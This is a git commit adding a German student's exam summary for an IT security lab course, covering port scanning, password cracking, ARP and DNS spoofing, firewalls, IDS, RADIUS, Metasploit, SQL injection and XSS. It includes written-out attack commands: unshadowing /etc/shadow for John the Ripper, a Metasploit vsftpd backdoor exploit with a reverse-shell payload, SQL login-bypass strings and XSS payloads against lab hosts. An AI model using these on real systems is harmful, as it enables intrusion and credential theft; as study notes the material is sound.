vault backup: 2025-07-03 16:57:46
This commit is contained in:
fzzinchemical
|
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 21 KiB After Width: | Height: | Size: 21 KiB |
348
Semester 6/ITSARCH/Labore/Zusammenfassung.md
Normal file
348
Semester 6/ITSARCH/Labore/Zusammenfassung.md
Normal file
@@ -0,0 +1,348 @@
|
||||
## 🖥️ **VirtualBox/VM Performance**
|
||||
|
||||
- Schildkröte-Symbol → Hyper-V und WSL unter Windows deaktivieren
|
||||
- Alternative: VMWare Workstation Pro (kostenloser Account nötig)
|
||||
|
||||
---
|
||||
|
||||
## 🔌 **Portscans**
|
||||
|
||||
**Was ist ein Port?**
|
||||
|
||||
- Virtuelle Schnittstelle für Verbindungen (0–65535 TCP/UDP, Layer 4)
|
||||
- Well Known Ports (0–1023): z. B. 22/SSH, 80/HTTP, 443/HTTPS, 53/DNS
|
||||
|
||||
**Portscanner?**
|
||||
|
||||
- Prüft Ports eines Hosts auf „offen“, „geschlossen“, „gefiltert“
|
||||
- Tools: `nmap`, `nc`, Bash-Loops mit `/dev/tcp`
|
||||
|
||||
**Portscan-Techniken**
|
||||
|
||||
- `Ping Scan`: ICMP Echo
|
||||
- `TCP SYN`: halb-offen (kein 3-Way Handshake)
|
||||
- `TCP Connect`: vollständiger 3-Way Handshake
|
||||
- `UDP Scan`: leere Pakete
|
||||
- `Stealth Scan`: FIN, XMAS, Idle Scan (Zombie)
|
||||
|
||||
**Detection & Prevention**
|
||||
|
||||
- Ungewöhnliches Verbindungsverhalten (viele Ports/IP)
|
||||
|
||||
- Tools: Firewalls, IDS, Rate-Limiting, Default-Deny-Prinzip
|
||||
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
netstat -tulpn
|
||||
sudo lsof -i -P -n
|
||||
nmap -p 20-80 172.22.x.x
|
||||
nc -zv 172.22.x.x 20-80
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔑 **Passwortsicherheit**
|
||||
|
||||
**Gute Passwörter**
|
||||
|
||||
- ≥12 Zeichen, Groß/Klein, Ziffern, Sonderzeichen
|
||||
- Keine Wörterbuchwörter oder persönliche Daten
|
||||
- Passwort-Manager nutzen, keine Wiederverwendung
|
||||
|
||||
**Cracking-Tools**
|
||||
|
||||
- Online: Hydra, crackstation.net
|
||||
- Offline: John the Ripper (JtR), Hashcat, ophcrack, Rainbowcrack
|
||||
|
||||
**John the Ripper (JtR)**
|
||||
|
||||
- Hash-Identifikation, Kandidaten-Generierung, Vergleich
|
||||
- Crack-Modi: Single, Wordlist, Incremental, Mask, Markov, Regex
|
||||
- Speed-Up: GPU, Threads `--fork=4`, gezielte Wortlisten
|
||||
- Linux: `sudo unshadow /etc/passwd /etc/shadow > combined.txt`
|
||||
- Crack: `john --wordlist=rockyou.txt combined.txt --format=crypt --users=root`
|
||||
|
||||
**Rainbow Tables**
|
||||
|
||||
- Vorgefertigte Hash-Ketten, schneller Lookup
|
||||
- Effektiv gegen unsalted Hashes (z. B. LM/NTLM)
|
||||
|
||||
---
|
||||
|
||||
## 🕵️♂️ **Man-in-the-Middle (MITM) & ARP-Spoofing**
|
||||
|
||||
**Grundidee**
|
||||
|
||||
- Angreifer täuscht Opfer und Gateway falsche MACs vor → Datenverkehr geht durch den Angreifer
|
||||
|
||||
**Tools & Schritte**
|
||||
|
||||
- `arp` → ARP-Cache anzeigen
|
||||
- Metasploit:
|
||||
```bash
|
||||
use auxiliary/spoof/arp/arp_poisoning
|
||||
set SHOSTS <gateway-IP>
|
||||
set DHOSTS <victim-IP>
|
||||
exploit
|
||||
```
|
||||
- Ettercap (GUI): Unified sniffing → Targets → Plugins → ARP Poisoning
|
||||
|
||||
**HTTPS MITM**
|
||||
|
||||
- Zertifikatsinjektion (Cain & Abel)
|
||||
- Nur möglich mit selbstsignierten Zertifikaten oder Downgrade-Attacken
|
||||
|
||||
---
|
||||
|
||||
## 🌐 **DNS-Angriffe**
|
||||
|
||||
**Methoden**
|
||||
|
||||
- DNS Spoofing / Cache Poisoning
|
||||
- DNS Hijacking, NXDOMAIN-Attacken
|
||||
- DNS Tunneling
|
||||
- DoH/DoT als Gegenmaßnahme
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
vim /etc/ettercap/etter.dns
|
||||
github.com A <Angreifer-IP>
|
||||
```
|
||||
|
||||
- Ettercap: DNS-Spoof Plugin aktivieren
|
||||
---
|
||||
|
||||
## 🔥 **Firewalls**
|
||||
|
||||
**Typen (nach Effizienz)**
|
||||
|
||||
1. Application Gateway (Layer 7)
|
||||
2. Proxy-Firewall
|
||||
3. Stateful Inspection (pfSense)
|
||||
4. Paketfilter-Firewall
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
iptables -I INPUT -p tcp --dport 80 -j DROP
|
||||
iptables -L -v
|
||||
firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -d <IP> -j REJECT
|
||||
```
|
||||
|
||||
**Ports scannen**
|
||||
|
||||
```bash
|
||||
nmap -T4 <Firewall-IP>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 👀 **Intrusion Detection Systems (IDS)**
|
||||
|
||||
**Typen**
|
||||
|
||||
- NIDS: Netzwerkbasiert
|
||||
- HIDS: Hostbasiert
|
||||
- Hybrid, Anomaly-based, Signature-based
|
||||
|
||||
**Tools**
|
||||
|
||||
- Snort:
|
||||
```bash
|
||||
snort -q -A console -i eth0 -c /etc/snort/snort.conf
|
||||
```
|
||||
- Regeln:
|
||||
```text
|
||||
alert tcp any any -> 192.168.1.10 80 (msg:"HTTP access detected"; sid:1000001;)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📡 **RADIUS**
|
||||
|
||||
**AAA-Prinzip**
|
||||
|
||||
- Authentifizierung: Wer bist du?
|
||||
- Autorisierung: Was darfst du?
|
||||
- Accounting: Was hast du gemacht?
|
||||
|
||||
**Protokolle**
|
||||
|
||||
- PAP: Klartext (unsicher)
|
||||
- CHAP: Challenge-Response (sicherer)
|
||||
- EAP-TLS: Zertifikatsbasierte Auth (sehr sicher)
|
||||
|
||||
**Konfiguration**
|
||||
|
||||
- Clients: `/etc/raddb/clients.conf`
|
||||
- Users: `/etc/raddb/users`
|
||||
|
||||
**Test**
|
||||
|
||||
```bash
|
||||
radtest bob Secret123 <RADIUS-IP> 1812 secret123
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🎯 **Metasploit**
|
||||
|
||||
**Phasen Pentest (BSI)**
|
||||
|
||||
1. Vorbereitung
|
||||
2. Informationsbeschaffung
|
||||
3. Bewertung
|
||||
4. Angriff
|
||||
5. Abschluss
|
||||
|
||||
**Modultypen**
|
||||
|
||||
- Exploit: Schwachstelle ausnutzen
|
||||
- Payload: Shells, Meterpreter
|
||||
- Auxiliary: Scans, Fuzzing, DoS
|
||||
- Post-Exploitation: Nach dem Zugriff Aktionen durchführen
|
||||
|
||||
**Befehle**
|
||||
|
||||
```bash
|
||||
msfconsole
|
||||
search vsftpd
|
||||
use exploit/unix/ftp/vsftpd_234_backdoor
|
||||
set RHOST <target-IP>
|
||||
set PAYLOAD linux/x86/shell_reverse_tcp
|
||||
set LHOST <attacker-IP>
|
||||
exploit
|
||||
```
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 🗄️ **SQL Injection**
|
||||
|
||||
🔑 **Login-Bypass Beispiel**
|
||||
|
||||
```sql
|
||||
Email: Admin@1337.org
|
||||
Passwort: " OR 1=1;#
|
||||
```
|
||||
|
||||
➡️ Führt zu Query:
|
||||
|
||||
```sql
|
||||
SELECT * FROM testumgebung_mysql_db.user
|
||||
WHERE user_email = "Admin@1337.org"
|
||||
AND user_password = "" OR 1=1;#
|
||||
```
|
||||
|
||||
✅ Da `1=1` immer true → Zugriff auch ohne Passwort
|
||||
|
||||
---
|
||||
|
||||
🔑 **Weitere Login-Bypass Varianten (Labor)**
|
||||
|
||||
- Mit manipuliertem Benutzernamen:
|
||||
|
||||
```sql
|
||||
Email: SvenMoller@teleworm.us
|
||||
Passwort: " OR 1=1;#
|
||||
```
|
||||
|
||||
➡️ Erfolgreich eingeloggt als Arand1978
|
||||
|
||||
- LIMIT 1 für nur einen User:
|
||||
|
||||
```sql
|
||||
Email: " OR 1=1 LIMIT 1;#
|
||||
Passwort: ignore
|
||||
```
|
||||
|
||||
➡️ Erfolgreich eingeloggt
|
||||
|
||||
---
|
||||
|
||||
🛠️ **Tool: sqlmap (Labor)**
|
||||
Analysiere SQLi-Lücken:
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=1"
|
||||
sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=2+AND+2=2"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
⚠️ **Hinweis (Labor)**
|
||||
|
||||
- `UNION SELECT` NICHT klausurrelevant:
|
||||
|
||||
```sql
|
||||
XSS_ProductView.php?clicked=1 UNION SELECT 1,'test',3,4,5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🪞 **Cross-Site Scripting**
|
||||
|
||||
📌 **Reflexives XSS (Labor)**
|
||||
Angriff im Suchfeld:
|
||||
|
||||
```html
|
||||
<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
URL-Beispiel:
|
||||
|
||||
```
|
||||
http://172.22.180.203/nie/php/XSS_Umgebung.php?suche=<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
➡️ Beim Aufruf wird der JS-Code direkt im Browser ausgeführt
|
||||
|
||||
---
|
||||
|
||||
📌 **Persistentes XSS (Labor)**
|
||||
Kommentar-Input manipulieren:
|
||||
|
||||
```
|
||||
Was ein wünderschönes Stück Baum dies doch ist. <script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
➡️ Jeder Nutzer, der die Seite lädt, bekommt den Alert
|
||||
|
||||
**Verschleierung (Labor)**:
|
||||
Kommentartext so gestalten, dass `<script>` im DB-Dump weniger auffällt.
|
||||
|
||||
---
|
||||
|
||||
🛠️ **Tool: xsser (Labor)**
|
||||
Automatisierte XSS-Prüfung:
|
||||
|
||||
```bash
|
||||
xsser -u http://172.22.180.102/nie/php/XSS_Umgebung.php?suche=XSS -s --user-agent "Googlebot/2.1" --threads 5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
🚨 **Session Hijacking (Labor Bonus)**
|
||||
|
||||
- Mit XSS Session Cookies stehlen
|
||||
- Danach als Opfer-User einloggen
|
||||
|
||||
**Mitigation**:
|
||||
|
||||
- `HttpOnly` Flag für Cookies
|
||||
- `htmlspecialchars($input, ENT_QUOTES)` in PHP
|
||||
|
||||
---
|
||||
|
||||
## 📋 **Kompakte Klausur-Befehlsübersicht**
|
||||
|
||||
|Angriff|Beispiel / Befehl|
|
||||
|---|---|
|
||||
|SQLi Login-Bypass|`Email: " OR 1=1;#`|
|
||||
|SQLi Tool|`sqlmap -u "<URL>"`|
|
||||
|Reflektiertes XSS|URL: `?suche=<script>alert(1)</script>`|
|
||||
|Persistentes XSS|Kommentar: `<script>alert('XSS')</script>`|
|
||||
|XSS Tool|`xsser -u <URL> -s --threads 5`|
|
||||
Reference in New Issue
Block a user